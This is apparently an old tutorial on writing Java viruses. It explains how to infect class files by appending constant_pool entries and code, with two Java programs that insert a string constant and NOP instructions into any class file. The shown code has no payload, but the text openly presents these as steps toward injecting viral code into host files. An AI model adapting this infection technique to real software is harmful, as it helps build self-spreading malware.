introduction 
Now that we have seen
how to modify a java class file, it is time to delve into some java code.
The class that will be used in the following examples is the java.io.RandomAccessFile
class. The interface for this class is included with the jdk documentation.
If you have programmed
in a higher level language before and are at least moderately proficient
with assembly language, it will be obvious how we may go about infecting
a java class file. Since this is not aimed at those who can already write
viruses in java (hello? if you can then why am I writing this?) I will
point out the most basic steps in infecting a class file.
Firstly it is important
to realise that executable code in java is reliant upon two things, the
code itself which lives in a code_attribute field and the constant_pool
which starts ten bytes from the beginning of the file. It is apparent from
the previous examples that if we want to insert viral code into a file
we can do this relatively easily by just modifiying a few fields here and
there. However, trouble occurs when we need our code to be inserted into
any file with varying numbers of constants in their constant_pool. This
can be easily overcome by allowing for changing offsets in our code.
For example, if we are
inserting a PrintStream() method which calls a string constant at position
constant_pool[y], we must modify the PrintStream() method to use the string
at constant_pool[y+constant_pool_length]. We must also modify the calling
code (since the method name resides in the constant_pool) such that instead
of calling the PrintStream() method with invoke_virtual constant_pool[z]
it calls constant_pool[z+constant_pool_length]. (Ed:
later on you will see that we must decrement the constant_pool_length by
one for it all to work this is because the constant_pool[0] is reserved
for the virtual machine and does not appear in the class file)
For the following examples,
the positions where these modifications are inserted have been calculated
by hand. The greater problem of creating constant_pools and code_attributes
which are self-modifying without going through by hand is tackled further
on.
analysis 
 
example #1 
// =============================================
// Title:  InsertConstant.java
// Author: Landing Camel
International
// Date:  
June 1998
// Notes:
// This example will
write a new string constant 
// to the end of the 
constant_pool of any java 
// class file.
The new entry as a hexadecimal
// number is:  
//
0x01000D4C616E64696E672043616D656C 
//
CONST_String
Landing Camel 
// =============================================
import java.io.*; 
public class InsertConstant
{ 
public static void main(String
argv[]) 
      
throws IOException { 
  //number of new
constants in the class file 
  int const_count
= 1; 
  //this is the
constant to be inserted 
  int old_consts[]
= {0x01, 
    0x00, 
    0x0D, 
    0x4C, 
    0x61, 
    0x6E, 
    0x64, 
    0x69, 
    0x6E, 
    0x67, 
    0x20, 
    0x43, 
    0x61, 
    0x6D, 
    0x65, 
    0x6C}; 
  //change the constant
into an array of bytes 
  byte[] new_consts
= new 
  byte[old_consts.length]; 
  for (int i=0;
i < old_consts.length; i++) { 
    
new_consts[i] = (byte)old_consts[i]; 
  } 
  //check that we
have a file on the command line 
  if ((argv.length
== 0) || 
     
(!argv[0].endsWith(".class"))) { 
     
System.out.println("Usage: java 
     
InsertConstant file.class"); 
     
System.exit(1); 
  } 
  //create an instance
of the file 
  RandomAccessFile
file = new 
    RandomAccessFile(argv[0],"rw"); 
  //read in the
current constant_count 
  int fpointer
= 8; 
  file.seek(fpointer); 
  int cp_entries
= file.readUnsignedShort();  
  //write new constant_count 
  file.seek(fpointer);  
  file.writeShort(cp_entries+const_count); 
  //seek to the
start of the const_pool 
  fpointer += 2; 
  file.seek(fpointer); 
  //iterate through
const_pool 
  //remember that
doubles and longs count as two
  for (int i =
1; i < cp_entries; i++) { 
    
int tag = file.readUnsignedByte(); 
    
fpointer++; 
    
int skipper = 0; 
    
switch (tag) { 
     
case 7:  
     
case 8: fpointer += 2; 
             
break; 
     
case 3: 
     
case 4: 
     
case 9: 
     
case 10: 
     
case 11: 
     
case 12: fpointer = fpointer + 4; 
              
break; 
     
case 5: 
     
case 6: fpointer = fpointer + 8; 
             
i++; 
             
break; 
     
case 1: skipper = file.readUnsignedShort(); 
             
fpointer = fpointer + skipper + 2; 
             
break; 
    
} 
    
file.seek(fpointer);  
  } 
  //save the end
of the file 
  int offset =
(int)file.length() - fpointer; 
  byte[] end =
new byte[offset]; 
  file.read(end,
0, offset); 
  //append our new
constant 
  file.seek(fpointer); 
  file.write(new_consts); 
  //restore tail
of file 
  file.write(end); 
  //close file 
  file.close(); 
 } 
}
 
example #2 
// =============================================
// Title:  InsertCode.java
// Author: Landing Camel
International
// Date:  
June 1998
// Notes:
// This example inserts
new executable code into 
// any java class file.
It inserts ten NOP 
// instructions which
have the hex value 0x00,
// into the first method
attribute of the class 
// file. 
// =============================================
import java.io.*; 
public class InsertCode
{ 
 public static void
main(String argv[]) 
       
throws IOException { 
  //length of the
new code to be inserted 
  int code_length
= 10; 
  //this is the
actual to be inserted 
  int old_code[]
= {0x00, 
    0x00, 
    0x00, 
    0x00, 
    0x00, 
    0x00, 
    0x00, 
    0x00, 
    0x00, 
    0x00,}; 
  //change the constant
into an array of bytes 
  byte[] new_code
= new byte[old_code.length]; 
  for (int i=0;
i < old_code.length; i++) { 
    
new_code[i] = (byte)old_code[i]; 
  } 
  if ((argv.length
== 0) || 
     
(!argv[0].endsWith(".class"))) { 
    
System.out.println("Usage: java InsertCode 
    
file.class"); 
    
System.exit(1); 
  } 
  RandomAccessFile
file = new 
    
RandomAccessFile(argv[0],"rw"); 
  //read in const_count 
  int fpointer
= 8; 
  file.seek(fpointer); 
  int cp_entries
= file.readUnsignedShort(); 
  //seek to the
start of the const_pool 
  fpointer += 2; 
  file.seek(fpointer); 
  //iterate through
const_pool 
  for (int i =
1; i < cp_entries; i++) { 
    
int tag = file.readUnsignedByte(); 
    
fpointer++; 
    
int skipper = 0; 
    
switch (tag) { 
     
case 7:  
     
case 8: fpointer += 2; 
             
break; 
     
case 3: 
     
case 4: 
     
case 9: 
     
case 10: 
     
case 11: 
     
case 12: fpointer = fpointer + 4; 
              
break; 
     
case 5: 
     
case 6: fpointer = fpointer + 8; 
             
i++; 
             
break; 
     
case 1: skipper = file.readUnsignedShort(); 
             
fpointer = fpointer + skipper + 2; 
             
break; 
     
} 
     
file.seek(fpointer);  
  } 
  //read in the
number of interfaces 
  fpointer += 6; 
  file.seek(fpointer); 
  int num_interfaces
= file.readUnsignedShort(); 
  //iterate through
the interface information  
  fpointer = fpointer
+ 2*(num_interfaces) + 2; 
  file.seek(fpointer); 
  //read in the
number of fields 
  int num_fields
= file.readUnsignedShort(); 
  fpointer += 2; 
  file.seek(fpointer); 
  //iterate through
the fields 
  for (int j=0;
j<num_fields; j++) { 
   //skip to
the attribute_count 
   fpointer
+= 6; 
   file.seek(fpointer); 
   int num_f_attributes
= 
     
file.readUnsignedShort(); 
   //iterate
through atribute_info 
   fpointer
= fpointer+ 8*(num_f_attributes) + 2; 
   file.seek(fpointer); 
  } 
  //read the number
of methods 
  int num_methods
= file.readUnsignedShort(); 
  //read the number
of method_attributes 
  fpointer += 8; 
  file.seek(fpointer); 
  int num_m_attributes
= 
    
file.readUnsignedShort(); 
  //read in current
attribute_length 
  fpointer += 4; 
  file.seek(fpointer); 
  int attribute_length
= file.readInt(); 
  //write new attribute_length 
  file.seek(fpointer); 
  file.writeInt(attribute_length
+ code_length); 
  //read in current
code_length 
  fpointer += 8; 
  file.seek(fpointer); 
  int old_code_length
= file.readInt(); 
  //write new code_length 
  file.seek(fpointer); 
  file.writeInt(old_code_length
+ code_length); 
  fpointer += 4; 
  file.seek(fpointer); 
  //save the end
of the file 
  int offset =
(int)file.length() - fpointer; 
  byte[] end =
new byte[offset]; 
  file.read(end,
0, offset); 
  //append our new
code to the end of the file 
  file.seek(fpointer); 
  file.write(new_code); 
  //restore tail
of file 
  file.write(end); 
  //close file 
  file.close(); 
 } 
}
conclusion 
The source code for the
two above examples are included with this distribution as wells as a combination
of these two examples. From these examples we can clearly see how we can
infect a file. We just have to be able to extract the hexadecimal code
for the constant_pool and the code_attribute from a viral program we have
written and adjust them to account for changing offsets in the host class
file.